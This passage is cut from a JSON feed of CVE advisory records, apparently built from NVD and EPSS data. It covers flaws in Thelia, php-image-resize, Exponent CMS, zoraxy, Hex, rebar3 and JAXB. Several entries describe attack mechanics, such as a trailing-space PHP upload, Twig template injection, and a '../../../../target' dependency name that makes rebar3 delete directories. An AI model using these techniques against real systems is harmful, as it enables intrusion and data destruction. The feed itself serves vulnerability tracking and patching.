the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.303Z","updatedAt":"2026-10-16T18:19:28.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85949","asOf":"2026-10-16T18:19:28.280Z"},"epss":{"probability":0.00317,"percentile":0.244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85949","type":"primary","publishedAt":"2026-10-12T16:17:06.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109398","cveId":"CVE-2026-109398","aliases":[],"kind":"vulnerability","title":"Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom*...","summary":"Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.","detail":"Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:05.397Z","updatedAt":"2026-10-16T19:21:14.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109398","asOf":"2026-10-16T19:21:14.417Z"},"epss":{"probability":0.00542,"percentile":0.45282,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109398&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109398","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109398","type":"primary","publishedAt":"2026-10-12T16:17:05.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109398&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109398, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109397","cveId":"CVE-2026-109397","aliases":[],"kind":"vulnerability","title":"Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a...","summary":"Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a trailing space to filenames. FileProcessorService validates the raw filename but FileManager::sanitizeFileName() strips the space, storing an executable .php file under public/cache/documents/ for code execution as the web server user.","detail":"Thelia before 3.1.2 and 3.2.x before 3.2.1 contains an unrestricted file upload vulnerability that allows authenticated back-office users to upload PHP files by appending a trailing space to filenames. FileProcessorService validates the raw filename but FileManager::sanitizeFileName() strips the space, storing an executable .php file under public/cache/documents/ for code execution as the web server user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:05.233Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109397","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00441,"percentile":0.38068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109397","type":"primary","publishedAt":"2026-10-12T16:17:05.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108906","cveId":"CVE-2026-108906","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi.","summary":"A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi. The manipulation of the argument put_file leads to out-of-bounds read. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in Netcore NR268 1.7.121109. This affects the function filter_arp_put_file_cgi of the file /router/filter_arp_put_file.cgi. The manipulation of the argument put_file leads to out-of-bounds read. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:03.917Z","updatedAt":"2026-10-15T03:17:06.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108906","asOf":"2026-10-15T03:17:06.347Z"},"epss":{"probability":0.00426,"percentile":0.36587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108906&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108906","type":"primary","publishedAt":"2026-10-12T16:17:03.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108906&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108906, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108900","cveId":"CVE-2026-108900","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC.","summary":"A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC. Such manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in Exponent CMS up to 3.0.2patch2. Affected is the function userLogin of the file xmlrpc.php of the component XML-RPC. Such manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:03.533Z","updatedAt":"2026-10-15T16:17:39.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108900","asOf":"2026-10-15T16:17:39.460Z"},"epss":{"probability":0.00254,"percentile":0.16761,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108900","type":"primary","publishedAt":"2026-10-12T16:17:03.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108899","cveId":"CVE-2026-108899","aliases":[],"kind":"vulnerability","title":"A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception...","summary":"A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception Matcher. This manipulation of the argument PathPrefix causes improper authorization. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 3.3.5-rc1 will fix this issue. Patch name: 37cd0f27b17cd15cfa4af409bfec943146f5fdfe. Upgrading the affected component is advised.","detail":"A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception Matcher. This manipulation of the argument PathPrefix causes improper authorization. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 3.3.5-rc1 will fix this issue. Patch name: 37cd0f27b17cd15cfa4af409bfec943146f5fdfe. Upgrading the affected component is advised.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:03.320Z","updatedAt":"2026-10-13T16:17:13.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108899","asOf":"2026-10-13T16:17:13.060Z"},"epss":{"probability":0.00454,"percentile":0.3912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108899","type":"primary","publishedAt":"2026-10-12T16:17:03.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107248","cveId":"CVE-2026-107248","aliases":[],"kind":"vulnerability","title":"Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply...","summary":"Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply unsandboxed Twig templates, which are then compiled and executed as raw code. By modifying Message content, an attacker can execute arbitrary PHP functions, read sensitive files, and potentially write to the filesystem, leading to full compromise of the application and underlying host. This vulnerability has been patched in thelia/twig-engine-module 1.0.9.","detail":"Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply unsandboxed Twig templates, which are then compiled and executed as raw code. By modifying Message content, an attacker can execute arbitrary PHP functions, read sensitive files, and potentially write to the filesystem, leading to full compromise of the application and underlying host. This vulnerability has been patched in thelia/twig-engine-module 1.0.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:03.203Z","updatedAt":"2026-10-15T18:17:24.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107248","asOf":"2026-10-15T18:17:24.270Z"},"epss":{"probability":0.0047,"percentile":0.40341,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107248","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107248","type":"primary","publishedAt":"2026-10-12T16:17:03.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105668","cveId":"CVE-2026-105668","aliases":[],"kind":"vulnerability","title":"Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past...","summary":"Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past the release-age cooldown.\n\nThe cooldown (cooldown config, HEX_COOLDOWN) withholds versions younger than the configured age during dependency resolution. When the release of a package locked in mix.lock is retired or has a security advisory, Hex.RemoteConverger.build_cooldown_bypass/3 and Hex.RemoteConverger.unsafe_lock_bypass/1 lift the cooldown for every version of that package and of every package the locked release depends on, so that mix deps.update can move off the unsafe release. Retiring a release needs the same package owner permission as publishing one. An attacker who publishes a malicious release can retire the currently locked release, and the next mix deps.update that unlocks the package selects the new release regardless of its age. Hex.Registry.Cooldown.versions/2 checks the bypass by package name alone, so the bypass also covers packages with the same name in other repositories. Cooldown configured through an organization dependency policy is not affected.\n\nThis issue affects hex: from 2.5.0 before 2.5.2.","detail":"Protection Mechanism Failure vulnerability in hexpm hex allows the owner of a package, or an attacker who has taken over the owner's account, to get a newly published release past the release-age cooldown.\n\nThe cooldown (cooldown config, HEX_COOLDOWN) withholds versions younger than the configured age during dependency resolution. When the release of a package locked in mix.lock is retired or has a security advisory, Hex.RemoteConverger.build_cooldown_bypass/3 and Hex.RemoteConverger.unsafe_lock_bypass/1 lift the cooldown for every version of that package and of every package the locked release depends on, so that mix deps.update can move off the unsafe release. Retiring a release needs the same package owner permission as publishing one. An attacker who publishes a malicious release can retire the currently locked release, and the next mix deps.update that unlocks the package selects the new release regardless of its age. Hex.Registry.Cooldown.versions/2 checks the bypass by package name alone, so the bypass also covers packages with the same name in other repositories. Cooldown configured through an organization dependency policy is not affected.\n\nThis issue affects hex: from 2.5.0 before 2.5.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:02.943Z","updatedAt":"2026-10-16T18:17:23.523Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105668","asOf":"2026-10-16T18:17:23.523Z"},"epss":{"probability":0.00362,"percentile":0.2976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105668","type":"primary","publishedAt":"2026-10-12T16:17:02.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103060","cveId":"CVE-2026-103060","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside...","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside the project's _build directory and extract package files into it when a developer fetches dependencies.\n\nA package release's dependencies in a Hex registry carry an app field that names the dependency's OTP application. rebar3 uses this field as the dependency's name without validating it (rebar_packages:parse_deps/1) and builds the dependency's directory from that name (rebar_app_utils:dep_to_app/7). rebar_fetch:download_source_online/2 deletes that directory with rm -rf and moves the fetched package into it. hex.pm didn't restrict the field to a directory name before 2026-10-12, so a publisher could set it to a value such as ../../../../target. When a project depends on such a release directly or transitively, rebar3 get-deps deletes the directory the name resolves to and writes the dependency's files there. This happens before the dependency's own rebar.config.script is evaluated, and get-deps compiles nothing.\n\nThis issue affects rebar3: from 3.7.0-rc1 before 3.27.2.","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in erlang rebar3 allows a malicious package publisher to delete a directory outside the project's _build directory and extract package files into it when a developer fetches dependencies.\n\nA package release's dependencies in a Hex registry carry an app field that names the dependency's OTP application. rebar3 uses this field as the dependency's name without validating it (rebar_packages:parse_deps/1) and builds the dependency's directory from that name (rebar_app_utils:dep_to_app/7). rebar_fetch:download_source_online/2 deletes that directory with rm -rf and moves the fetched package into it. hex.pm didn't restrict the field to a directory name before 2026-10-12, so a publisher could set it to a value such as ../../../../target. When a project depends on such a release directly or transitively, rebar3 get-deps deletes the directory the name resolves to and writes the dependency's files there. This happens before the dependency's own rebar.config.script is evaluated, and get-deps compiles nothing.\n\nThis issue affects rebar3: from 3.7.0-rc1 before 3.27.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:00.873Z","updatedAt":"2026-10-16T18:17:16.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103060","asOf":"2026-10-16T18:17:16.940Z"},"epss":{"probability":0.00451,"percentile":0.38918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103060&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103060","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103060","type":"primary","publishedAt":"2026-10-12T16:17:00.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103060&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103060, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92877","cveId":"CVE-2026-92877","aliases":[],"kind":"vulnerability","title":"The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution.","summary":"The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution. On JAXP implementations where that feature alone does not block external entity resolution, an attacker who can get untrusted XML unmarshalled through JAXB can read local files via out-of-band XXE.","detail":"The JAXB factory methods historically relied solely on `FEATURE_SECURE_PROCESSING` to prevent XML External Entity (XXE) resolution. On JAXP implementations where that feature alone does not block external entity resolution, an attacker who can get untrusted XML unmarshalled through JAXB can read local files via out-of-band XXE.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:09.890Z","updatedAt":"2026-10-16T18:19:44.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92877","asOf":"2026-10-16T18:19:44.173Z"},"epss":{"probability":0.00265,"percentile":0.18236,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 